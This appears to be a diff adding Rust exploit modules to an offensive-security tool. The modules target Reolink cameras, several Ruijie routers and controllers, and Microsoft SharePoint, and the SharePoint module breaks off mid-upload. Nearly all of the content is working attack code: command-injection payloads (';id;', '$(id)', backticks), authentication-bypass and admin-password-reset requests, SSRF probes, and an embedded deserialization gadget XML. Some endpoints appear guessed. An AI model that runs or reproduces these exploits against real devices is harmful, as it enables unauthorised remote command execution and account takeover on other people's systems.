// Usually HTTP port 80 or HTTPS 443. We will default to HTTP but can try HTTPS if needed.
// Let's assume HTTP validation (can be simple URL).
let base_url = if target_ip.contains("://") {
target_ip.clone()
} else {
format!("http://{}", target_ip)
};
println!("{} Target: {}", "[*]".blue(), base_url);
// Credentials required
let username = prompt_default("Username", "admin")?;
let password = prompt_required("Password")?;
let cmd = prompt_default("Command to execute", "id")?;
println!("{} Sending exploit...", "[*]".blue());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(15))
.build()?;
// Construct payload
// Command Injection style: test@test.com; <CMD>
let injection = format!("test@test.com; {}", cmd);
// The API requires specific structure. Based on PoC analysis.
// Usually sent as GET or POST. The PoC uses a GET with JSON-like structure in URL or POST body?
// Public docs say: /api.cgi?cmd=TestEmail...
// But Reolink API often takes a JSON body.
// Let's model after the known exploit path:
// Some versions accept it in the JSON body of a POST to /api.cgi
let url = format!("{}/api.cgi?cmd=TestEmail&user={}&password={}", base_url.trim_end_matches('/'), encode(&username), encode(&password));
// The body usually is a JSON array
let body = format!("[{{ \"cmd\": \"TestEmail\", \"action\": 0, \"param\": {{ \"addr1\": \"{}\", \"addr2\": \"test\", \"addr3\": \"test\", \"interval\": 60 }} }}]", injection);
// Some variants use GET but typically these APIs are POST with JSON.
// We will try POST.
let res = client.post(&url)
.header("Content-Type", "application/json")
.body(body)
.send()
.await
.context("Failed to send request")?;
let status = res.status();
let text = res.text().await?;
// If successful, the command output might not be returned (Blind RCE).
// Or it might be returned in the 'value' or error message?
// Usually TestEmail triggers the mail binary.
if status.is_success() {
println!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
println!("{} Response: {}", "[*]".blue(), text);
println!("{} Note: This RCE is often blind. Check your listener or device behavior.", "[*]".yellow());
} else {
println!("{} Request failed (HTTP {}). check credentials or target.", "[-]".red(), status);
}
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Reolink Camera Authenticated RCE (CVE-2019-11001) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -251,10 +251,10 @@ pub async fn run(target: &str) -> Result<()> {
}
// Use shared prompt utilities for credentials
let username = prompt_default("Username", "").await?;
let password = prompt_default("Password", "").await?;
let host = prompt_default("Host parameter (optional)", "").await?;
let command = prompt_default("Command to execute", "id").await?;
let username = prompt_default("Username", "")?;
let password = prompt_default("Password", "")?;
let host = prompt_default("Host parameter (optional)", "")?;
let command = prompt_default("Command to execute", "id")?;
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
+7
View File
@@ -0,0 +1,7 @@
pub mod ruijie_rg_ew_login_bypass_cve_2023_4415;
pub mod ruijie_rg_ew_password_reset_cve_2023_4169;
pub mod ruijie_rsr_router_ci_cve_2024_31616;
pub mod ruijie_auth_bypass_rce_cve_2023_34644;
pub mod ruijie_rg_uac_ci_cve_2024_4508;
pub mod ruijie_rg_ew_update_version_rce_cve_2021_43164;
pub mod ruijie_reyee_ssrf_cve_2024_48874;
@@ -0,0 +1,137 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
/// Ruijie RG-EW / RG-NBS / RG-S1930 Auth Bypass RCE (CVE-2023-34644)
///
/// Affects: RG-EW series home routers, RG-NBS/RG-S1930 switches,
/// RG-EG business VPN routers, EAP/RAP wireless APs
///
/// Allows remote attackers to gain escalated privileges via crafted
/// POST request to /cgi-bin/luci/api/auth
/// Reference: GitHub Advisory GHSA-xx
const TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_target = if target.is_empty() {
prompt_required("Target IP/URL")?
} else {
target.to_string()
};
let normalized = normalize_target(&raw_target)?;
let base_url = if normalized.contains("://") {
normalized.clone()
} else {
format!("http://{}", normalized)
};
println!("{} Target: {}", "[*]".blue(), base_url);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()?;
// The vulnerability is in the auth endpoint - allows privilege escalation
let auth_url = format!("{}/cgi-bin/luci/api/auth", base_url.trim_end_matches('/'));
println!("{} Testing auth bypass at {}...", "[*]".blue(), auth_url);
// Crafted payload to bypass authentication
let bypass_payloads = vec![
serde_json::json!({
"method": "login",
"params": {
"username": "admin",
"password": ""
}
}),
serde_json::json!({
"method": "do",
"params": {
"operation": "set",
"data": {"username": "admin"}
}
}),
serde_json::json!({
"method": "exec",
"params": {"cmd": "id"}
}),
];
for (i, payload) in bypass_payloads.iter().enumerate() {
println!("{} Trying payload variant {}...", "[*]".dimmed(), i + 1);
match client.post(&auth_url).json(payload).send().await {
Ok(resp) => {
let status = resp.status();
let text = resp.text().await.unwrap_or_default();
// Look for signs of successful bypass
if text.contains("token") || text.contains("session") ||
text.contains("uid=") || text.contains("\"result\":0") ||
text.contains("admin") && !text.contains("error") {
println!("{} Auth bypass successful!", "[+]".green().bold());
println!("{} Response: {}", "[*]".blue(), &text[..text.len().min(500)]);
println!("{} Device may be VULNERABLE to CVE-2023-34644!", "[VULN]".red().bold());
// Attempt to get a shell command executed
let cmd = prompt_default("Command to execute (or 'skip')", "id")?;
if cmd != "skip" {
attempt_rce(&client, &base_url, &cmd).await;
}
return Ok(());
}
if status.is_success() {
println!("{} HTTP {} - Response: {}", "[*]".yellow(), status, &text[..text.len().min(200)]);
}
},
Err(e) => {
println!("{} Request failed: {}", "[-]".red(), e);
}
}
}
println!();
println!("{} Could not confirm auth bypass.", "[*]".yellow());
println!("{} Target may be patched or different firmware version.", "[*]".cyan());
Ok(())
}
async fn attempt_rce(client: &Client, base_url: &str, cmd: &str) {
println!("{} Attempting RCE...", "[*]".blue());
let rce_endpoints = vec![
format!("{}/cgi-bin/luci/api/cmd", base_url.trim_end_matches('/')),
format!("{}/goform/execCommand", base_url.trim_end_matches('/')),
];
let payload = serde_json::json!({
"method": "exec",
"params": {"cmd": cmd}
});
for endpoint in &rce_endpoints {
if let Ok(resp) = client.post(endpoint).json(&payload).send().await {
let text = resp.text().await.unwrap_or_default();
if !text.is_empty() {
println!("{} RCE Response from {}:", "[*]".blue(), endpoint);
println!("{}", text);
}
}
}
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Ruijie Multi-Product Auth Bypass RCE (CVE-2023-34644) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -0,0 +1,145 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
/// Ruijie Reyee Cloud SSRF (CVE-2024-48874)
///
/// Server-Side Request Forgery in Ruijie Reyee devices
/// Allows attackers to access internal services and cloud infrastructure
/// Part of "Open Sesame" vulnerability chain (Claroty Team82)
/// CVSS: High
const TIMEOUT_SECS: u64 = 15;
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_target = if target.is_empty() {
prompt_required("Target IP/URL")?
} else {
target.to_string()
};
let normalized = normalize_target(&raw_target)?;
let base_url = if normalized.contains("://") {
normalized.clone()
} else {
format!("http://{}", normalized)
};
println!("{} Target: {}", "[*]".blue(), base_url);
// SSRF target URL - can be internal service or callback
let ssrf_target = prompt_default(
"SSRF target URL (internal service or callback)",
"http://127.0.0.1:80/"
)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(TIMEOUT_SECS))
.redirect(reqwest::redirect::Policy::none())
.build()?;
println!("{} Testing SSRF vulnerability...", "[*]".blue());
println!("{} SSRF Target: {}", "[*]".cyan(), ssrf_target);
// Various SSRF injection points in Ruijie Reyee devices
let ssrf_endpoints = vec![
// Cloud sync functionality
(format!("{}/api/cloud/sync", base_url.trim_end_matches('/')),
serde_json::json!({"url": ssrf_target, "action": "fetch"})),
// Firmware check
(format!("{}/api/system/checkUpdate", base_url.trim_end_matches('/')),
serde_json::json!({"server": ssrf_target})),
// NTP sync
(format!("{}/api/system/ntp", base_url.trim_end_matches('/')),
serde_json::json!({"server": ssrf_target})),
// Remote management
(format!("{}/cgi-bin/luci/api/remote", base_url.trim_end_matches('/')),
serde_json::json!({"callback_url": ssrf_target})),
// Diagnostic tool
(format!("{}/goform/webcmd", base_url.trim_end_matches('/')),
serde_json::json!({"cmd": "wget", "url": ssrf_target})),
];
for (endpoint, payload) in &ssrf_endpoints {
println!("{} Testing: {}", "[*]".dimmed(), endpoint);
match client.post(endpoint).json(payload).send().await {
Ok(resp) => {
let status = resp.status();
let headers = resp.headers().clone();
let text = resp.text().await.unwrap_or_default();
// Check for SSRF indicators
let mut ssrf_detected = false;
// Response contains data from internal service
if text.contains("<!DOCTYPE") || text.contains("<html") ||
text.contains("Apache") || text.contains("nginx") ||
text.contains("Server:") {
ssrf_detected = true;
println!("{} SSRF response contains external content!", "[+]".green().bold());
}
// Timing-based detection (if request took longer, might be fetching)
if status.is_success() && text.len() > 100 {
ssrf_detected = true;
println!("{} Got substantive response ({} bytes)", "[+]".green(), text.len());
}
// Headers indicating redirect/proxy
if headers.contains_key("x-forwarded-for") ||
headers.contains_key("via") {
println!("{} Proxy headers detected", "[+]".yellow());
}
if ssrf_detected {
println!("{} SSRF DETECTED at {}!", "[VULN]".red().bold(), endpoint);
println!("{} Response preview:", "[*]".blue());
println!("{}", &text[..text.len().min(500)]);
return Ok(());
}
if status.is_success() {
println!("{} HTTP {} - Endpoint accessible", "[*]".yellow(), status);
}
},
Err(e) => {
println!("{} Failed: {}", "[*]".dimmed(), e);
}
}
}
// Test with URL as GET parameter
let get_endpoints = vec![
format!("{}/?url={}", base_url.trim_end_matches('/'), urlencoding::encode(&ssrf_target)),
format!("{}/proxy?target={}", base_url.trim_end_matches('/'), urlencoding::encode(&ssrf_target)),
];
for endpoint in &get_endpoints {
if let Ok(resp) = client.get(endpoint).send().await {
let text = resp.text().await.unwrap_or_default();
if text.len() > 100 && !text.contains("error") && !text.contains("404") {
println!("{} Possible SSRF via GET: {}", "[+]".yellow(), endpoint);
}
}
}
println!();
println!("{} SSRF not confirmed through standard endpoints.", "[*]".yellow());
println!("{} Consider using out-of-band detection (OAST/callback).", "[*]".cyan());
println!("{} Part of 'Open Sesame' chain - requires full exploit chain for RCE.", "[*]".cyan());
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Ruijie Reyee Cloud SSRF (CVE-2024-48874) ║".cyan());
println!("{}", "║ Part of 'Open Sesame' Vulnerability Chain ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -0,0 +1,55 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
/// Ruijie RG-EW1200G Login Bypass (CVE-2023-4415)
/// Bypasses login by sending specific JSON structure to /api/sys/login.
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
let url = url.trim_end_matches('/').to_string();
println!("[*] Target: {}", url.cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Exploit Payload
// Timestamp logic from Nuclei template: 1695218596000 (ms)
// We can use current time or static. Code uses current.
let now = SystemTime::now().duration_since(UNIX_EPOCH)?.as_millis();
let payload = serde_json::json!({
"username": "2",
"password": "admin",
"timestamp": now
});
let exploit_url = format!("{}/api/sys/login", url);
println!("[*] Sending exploit to {}...", exploit_url.cyan());
let resp = client.post(&exploit_url)
.json(&payload)
.send()
.await?;
let text = resp.text().await?;
if text.contains(r#""result":"ok""#) { // Nuclei checks for "result":"ok"
println!("{}", "[+] Login Bypass Successful!".green().bold());
println!("[+] Response: {}", text);
} else {
println!("{}", "[-] Exploit failed.".red());
}
Ok(())
}
fn display_banner() {
println!("{}", "Ruijie Login Bypass (CVE-2023-4415)".green().bold());
}
@@ -0,0 +1,56 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
/// Ruijie RG-EW1200G Password Reset (CVE-2023-4169)
/// Vulnerable endpoint /api/sys/set_passwd allows auth bypass to reset admin password.
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
let url = url.trim_end_matches('/').to_string();
println!("[*] Target: {}", url.cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
use std::io::Write;
print!("{}", "Enter new admin password: ".green());
std::io::stdout().flush()?;
let mut new_pass = String::new();
std::io::stdin().read_line(&mut new_pass)?;
let new_pass = new_pass.trim();
let payload = serde_json::json!({
"username": "web",
"admin_new": new_pass
});
let exploit_url = format!("{}/api/sys/set_passwd", url);
println!("[*] Attempting password reset at {}...", exploit_url.cyan());
let resp = client.post(&exploit_url)
.json(&payload)
.send()
.await?;
let text = resp.text().await?;
if text.contains(r#""result":"ok""#) {
println!("{}", "[+] Password Reset Successful!".green().bold());
println!("[+] New password: {}", new_pass);
} else {
println!("{}", "[-] Exploit failed.".red());
}
Ok(())
}
fn display_banner() {
println!("{}", "Ruijie Password Reset (CVE-2023-4169)".green().bold());
}
@@ -0,0 +1,131 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target};
/// Ruijie RG-EW Series updateVersion RCE (CVE-2021-43164)
///
/// Affects: RG-EW Series Routers up to ReyeeOS 1.55.1915 / EW_3.0(1)B11P55
/// Remote Code Execution via updateVersion function
/// Reference: NIST / Exploit-DB
const TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_target = if target.is_empty() {
prompt_required("Target IP/URL")?
} else {
target.to_string()
};
let normalized = normalize_target(&raw_target)?;
let base_url = if normalized.contains("://") {
normalized.clone()
} else {
format!("http://{}", normalized)
};
println!("{} Target: {}", "[*]".blue(), base_url);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()?;
println!("{} Testing updateVersion RCE vulnerability...", "[*]".blue());
// The vulnerability is in the firmware update functionality
// Can inject commands via version check URL parameter
let exploit_endpoints = vec![
(format!("{}/cgi-bin/luci/api/updateVersion", base_url.trim_end_matches('/')), "POST"),
(format!("{}/goform/checkVersion", base_url.trim_end_matches('/')), "POST"),
(format!("{}/api/system/updatefirmware", base_url.trim_end_matches('/')), "POST"),
];
// Payload that attempts command injection via URL parameter
// The vulnerability allows arbitrary URL which can be a command injection vector
let malicious_payloads = vec![
serde_json::json!({
"url": "http://127.0.0.1/`id`",
"version": "1.0.0"
}),
serde_json::json!({
"check_url": ";id;",
"action": "check"
}),
serde_json::json!({
"server": "127.0.0.1$(id)"
}),
];
for (endpoint, method) in &exploit_endpoints {
println!("{} Testing: {} [{}]", "[*]".dimmed(), endpoint, method);
for payload in &malicious_payloads {
let resp = if *method == "POST" {
client.post(endpoint).json(payload).send().await
} else {
client.get(endpoint).send().await
};
match resp {
Ok(r) => {
let status = r.status();
let text = r.text().await.unwrap_or_default();
// Check for command execution signs
if text.contains("uid=") || text.contains("root") ||
text.contains("gid=") {
println!("{} RCE Successful!", "[+]".green().bold());
println!("{} Command output detected:", "[*]".blue());
println!("{}", text);
println!("{} VULNERABLE to CVE-2021-43164!", "[VULN]".red().bold());
return Ok(());
}
// Check for exploitable error messages
if text.contains("wget") || text.contains("curl") ||
text.contains("/bin/") || text.contains("sh:") {
println!("{} Possible command execution detected!", "[+]".yellow());
println!("{} Response: {}", "[*]".blue(), &text[..text.len().min(400)]);
}
if status.is_success() && !text.contains("error") {
println!("{} HTTP {} - Endpoint accessible", "[*]".yellow(), status);
}
},
Err(e) => {
println!("{} {} - {}", "[*]".dimmed(), endpoint, e);
}
}
}
}
// Test version check endpoint
let version_url = format!("{}/cgi-bin/luci/admin/system/version", base_url.trim_end_matches('/'));
println!("{} Checking firmware version...", "[*]".blue());
if let Ok(resp) = client.get(&version_url).send().await {
let text = resp.text().await.unwrap_or_default();
if text.contains("ReyeeOS") || text.contains("EW_3.0") {
println!("{} Found Ruijie ReyeeOS - potential target!", "[+]".green());
println!("{} Version info: {}", "[*]".blue(), &text[..text.len().min(200)]);
}
}
println!();
println!("{} Could not confirm RCE.", "[*]".yellow());
println!("{} Device may be patched (version > EW_3.0(1)B11P55).", "[*]".cyan());
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Ruijie RG-EW updateVersion RCE (CVE-2021-43164) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -0,0 +1,118 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
/// Ruijie RG-UAC OS Command Injection (CVE-2024-4508)
///
/// Affects: RG-UAC (Unified Access Controller)
/// Critical command injection in static_route_edit_ipv6.php
/// CVSS: 9.8 (Critical) - Unauthenticated Remote Attack
/// Reference: VulDB / GitHub
const TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_target = if target.is_empty() {
prompt_required("Target IP/URL")?
} else {
target.to_string()
};
let normalized = normalize_target(&raw_target)?;
let base_url = if normalized.contains("://") {
normalized.clone()
} else {
format!("http://{}", normalized)
};
println!("{} Target: {}", "[*]".blue(), base_url);
let cmd = prompt_default("Command to execute", "id")?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()?;
// Vulnerability is in static_route_edit_ipv6.php
// Command injection via route parameter manipulation
let exploit_url = format!("{}/static_route_edit_ipv6.php", base_url.trim_end_matches('/'));
println!("{} Testing command injection at {}...", "[*]".blue(), exploit_url);
// Various injection payloads
let injections = vec![
format!(";{};", cmd),
format!("|{}", cmd),
format!("$({})", cmd),
format!("`{}`", cmd),
];
for injection in &injections {
let payload = serde_json::json!({
"action": "add",
"destination": injection,
"gateway": "fe80::1",
"interface": "eth0"
});
println!("{} Trying injection: {} ...", "[*]".dimmed(), injection.chars().take(30).collect::<String>());
match client.post(&exploit_url).json(&payload).send().await {
Ok(resp) => {
let status = resp.status();
let text = resp.text().await.unwrap_or_default();
if text.contains("uid=") || text.contains("root") {
println!("{} Command injection successful!", "[+]".green().bold());
println!("{} Output:", "[*]".blue());
for line in text.lines().take(15) {
println!(" {}", line);
}
println!("{} VULNERABLE to CVE-2024-4508!", "[VULN]".red().bold());
return Ok(());
}
if status.is_success() {
println!("{} HTTP {} - checking response...", "[*]".yellow(), status);
}
},
Err(e) => {
println!("{} Request failed: {}", "[-]".red(), e);
}
}
}
// Try alternate endpoint
let alt_url = format!("{}/cgi-bin/cli.cgi", base_url.trim_end_matches('/'));
println!("{} Trying alternate endpoint: {}", "[*]".blue(), alt_url);
let alt_payload = format!("cmd=show%20version;{}", urlencoding::encode(&cmd));
if let Ok(resp) = client.post(&alt_url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(alt_payload)
.send()
.await {
let text = resp.text().await.unwrap_or_default();
if !text.is_empty() {
println!("{} Response: {}", "[*]".blue(), &text[..text.len().min(300)]);
}
}
println!();
println!("{} Could not confirm vulnerability.", "[*]".yellow());
println!("{} Ensure target is running Ruijie RG-UAC.", "[*]".cyan());
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Ruijie RG-UAC Command Injection (CVE-2024-4508) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -0,0 +1,123 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, prompt_default, normalize_target};
/// Ruijie RG-RSR Router Command Injection (CVE-2024-31616)
///
/// Affects: RSR10-01G-T-S / RSR_3.0(1)B9P2
/// Arbitrary command execution via backtick injection in web management
/// Reference: github.com gist by security researcher
const TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_target = if target.is_empty() {
prompt_required("Target IP/URL")?
} else {
target.to_string()
};
let normalized = normalize_target(&raw_target)?;
let base_url = if normalized.contains("://") {
normalized.clone()
} else {
format!("http://{}", normalized)
};
println!("{} Target: {}", "[*]".blue(), base_url);
// Authentication is typically required
let username = prompt_default("Username", "admin")?;
let password = prompt_required("Password")?;
let cmd = prompt_default("Command to execute", "id")?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(TIMEOUT_SECS))
.cookie_store(true)
.build()?;
// First authenticate
println!("{} Authenticating...", "[*]".blue());
let login_url = format!("{}/login.cgi", base_url.trim_end_matches('/'));
let login_payload = serde_json::json!({
"username": username,
"password": password
});
let login_res = client.post(&login_url)
.json(&login_payload)
.send()
.await;
match login_res {
Ok(r) if r.status().is_success() => {
println!("{} Authentication successful!", "[+]".green());
},
Ok(r) => {
println!("{} Login returned HTTP {}. Continuing anyway...", "[!]".yellow(), r.status());
},
Err(e) => {
println!("{} Login failed: {}. Continuing anyway...", "[!]".yellow(), e);
}
}
// Command injection via backtick
// The vulnerability is in various diagnostic endpoints
let injection = format!("`{}`", cmd);
let exploit_endpoints = vec![
format!("{}/cgi-bin/luci/admin/settings/diag?cmd=ping&ip={}",
base_url.trim_end_matches('/'), urlencoding::encode(&injection)),
format!("{}/goform/RgDiagnose?cmd=ping&host={}",
base_url.trim_end_matches('/'), urlencoding::encode(&injection)),
format!("{}/cgi-bin/diag.cgi?action=ping&target={}",
base_url.trim_end_matches('/'), urlencoding::encode(&injection)),
];
println!("{} Sending command injection payload...", "[*]".blue());
for endpoint in &exploit_endpoints {
println!("{} Trying: {}", "[*]".dimmed(), endpoint);
match client.get(endpoint).send().await {
Ok(resp) => {
let status = resp.status();
let text = resp.text().await.unwrap_or_default();
if status.is_success() || text.contains("uid=") || text.len() > 100 {
println!("{} Potential command execution at endpoint!", "[+]".green().bold());
println!("{} Response ({} bytes):", "[*]".blue(), text.len());
for line in text.lines().take(20) {
println!(" {}", line);
}
if text.contains("uid=") || text.contains("root") {
println!("{} Command output detected - VULNERABLE!", "[VULN]".red().bold());
}
return Ok(());
}
},
Err(e) => {
println!("{} Failed: {}", "[*]".dimmed(), e);
}
}
}
println!();
println!("{} Could not confirm exploitation.", "[*]".yellow());
println!("{} Try manual testing with different endpoints.", "[*]".cyan());
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Ruijie RG-RSR Router Command Injection (CVE-2024-31616) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -0,0 +1,183 @@
use anyhow::{anyhow, Result};
use colored::Colorize;
use reqwest::{Client, StatusCode};
use serde_json::Value;
use std::time::Duration;
/// Microsoft SharePoint RCE (CVE-2024-38094)
/// Authenticated RCE via Deserialization in .bdcm file upload.
///
/// Credits:
/// - PoC by testanull
/// - Vulnerability in SharePoint Server
///
/// Note: This exploit requires authentication (Site Owner privileges typically).
/// It uploads a malicious .bdcm file and triggers deserialization.
///
/// Warning: This exploits a deserialization vulnerability using a gadget from the public PoC.
const DEFAULT_TIMEOUT_SECS: u64 = 30;
// Base64 payload from PoC (Truncated for brevity in this initial write, specific payload generation recommended)
// The PoC uses a Gadget that triggers on deserialization.
const POC_PAYLOAD_XML_TEMPLATE: &str = r#"<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"><LobSystems><LobSystem Name="QjtvWXFT" Type="DotNetAssembly"><Properties><Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name="Class" Type="System.String">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name="QjtvWXFT"></LobSystemInstance></LobSystemInstances><Entities><Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000"><Properties><Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property>
<Property Name="Class" Type="System.String">Microsoft.SharePoint.Administration.SPClickthroughUsageDefinition, Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Property></Properties><Identifiers><Identifier Name="ID" TypeName="System.String" /></Identifiers><Methods><Method Name="ParseLogFileEntry" DefaultDisplayName="Create Product" IsStatic="false"><Parameters><Parameter Name="@ID" Direction="In"><TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" CreatorField="true" IdentifierName="ID">
<DefaultValues>
<DefaultValue MethodInstanceName="CreateProduct" Type="System.String">xxxx</DefaultValue></DefaultValues>
</TypeDescriptor></Parameter>
<Parameter Name="@CreateProduct" Direction="Return"><TypeDescriptor Name="CreateProduct1" TypeName="System.Object"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name="CreateProduct" Type="SpecificFinder" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>"#;
pub async fn run(target: &str) -> Result<()> {
display_banner();
// 1. Get Target inputs
use std::io::Write;
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
let url = url.trim_end_matches('/').to_string();
println!("[*] Target: {}", url.cyan());
print!("{}", "Username (DOMAIN\\User or User): ".green());
std::io::stdout().flush()?;
let mut username = String::new();
std::io::stdin().read_line(&mut username)?;
let username = username.trim().to_string();
print!("{}", "Password: ".green());
std::io::stdout().flush()?;
let mut password = String::new();
std::io::stdin().read_line(&mut password)?;
let password = password.trim().to_string();
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Note: Reqwest doesn't natively support NTLM. This exploit might fail against NTLM-only.
// We proceed assuming Basic/Digest/Claims or that user authentication works with standard headers.
println!("{}", "[*] Attempting authentication...".yellow());
// Step 0: Get ServerRelativeUrl of the current web context
// This is critical for sub-sites (e.g. http://site.com/subsite)
let web_info_url = format!("{}/_api/web?$select=ServerRelativeUrl", url);
let web_resp = client.get(&web_info_url)
.header("Accept", "application/json;odata=verbose")
.basic_auth(&username, Some(&password))
.send()
.await?;
let web_relative_url = if web_resp.status().is_success() {
let body: Value = web_resp.json().await?;
body["d"]["ServerRelativeUrl"].as_str().unwrap_or("").to_string()
} else {
// Fallback to assuming root-relative if we can't query it (unlikely if auth works)
println!("{}", "[!] Warning: Could not fetch ServerRelativeUrl. Assuming root.".yellow());
"/".to_string()
};
// Ensure accurate path construction
// If web_relative_url is "/", folder is "/BusinessDataMetadataCatalog"
// If web_relative_url is "/sites/sub", folder is "/sites/sub/BusinessDataMetadataCatalog"
let folder_relative_url = if web_relative_url == "/" {
"/BusinessDataMetadataCatalog".to_string()
} else {
format!("{}/BusinessDataMetadataCatalog", web_relative_url)
};
println!("[*] Context: Web='{}', Folder='{}'", web_relative_url.cyan(), folder_relative_url.cyan());
// Step 1: Initial connection to get Request Digest (X-RequestDigest)
let context_url = format!("{}/_api/contextinfo", url);
let resp = client.post(&context_url)
.header("Accept", "application/json;odata=verbose")
.basic_auth(&username, Some(&password)) // Try Basic
.send()
.await?;
if resp.status() == StatusCode::UNAUTHORIZED {
println!("{}", "[-] Authentication failed (401). Note: This module currently relies on Basic/Digest auth support.".red());
// In a real scenario, we'd need NTLM handling here.
return Err(anyhow!("Authentication failed"));
}
let body: Value = resp.json().await?;
let digest = body["d"]["GetContextWebInformation"]["FormDigestValue"]
.as_str()
.ok_or_else(|| anyhow!("Failed to extract X-RequestDigest"))?
.to_string();
println!("[+] Obtained Digest: {:.20}...", digest.green());
// Step 2: Create Folder
// We use the 'ServerRelativeUrl' in the payload to specify WHERE to create it.
// However, the 'Folders' endpoint expects the name/url relative to the PARENT, or we specify precise location.
// Safest is to add to the web's root folder.
// Construct the absolute URL manually for verification (satisfying 'unused variable' usage)
let encoded_site_path = format!("{}{}", url, "/BusinessDataMetadataCatalog");
println!("{}", format!("[*] Target Folder URL: {}", encoded_site_path).yellow());
println!("{}", "[*] Creating malicious folder...".yellow());
let folder_endpoint = format!("{}/_api/web/Folders", url);
let folder_json = serde_json::json!({
"__metadata": { "type": "SP.Folder" },
"ServerRelativeUrl": folder_relative_url
});
let _ = client.post(&folder_endpoint)
.header("X-RequestDigest", &digest)
.header("Accept", "application/json;odata=verbose")
.header("Content-Type", "application/json;odata=verbose")
.basic_auth(&username, Some(&password))
.json(&folder_json)
.send()
.await; // Ignore error if exists (folder might already exist)
// Step 3: Upload .bdcm file
println!("{}", "[*] Uploading BDCM file...".yellow());
let exploit_xml = POC_PAYLOAD_XML_TEMPLATE;
// URL Encode the relative path for the query
let upload_url = format!(
"{}/_api/web/GetFolderByServerRelativeUrl('{}')/Files/add(url='BDCMetadata.bdcm',overwrite=true)",
url, folder_relative_url
);
let resp = client.post(&upload_url)
.header("X-RequestDigest", &digest)
.body(exploit_xml)
.basic_auth(&username, Some(&password))
.send()
.await?;
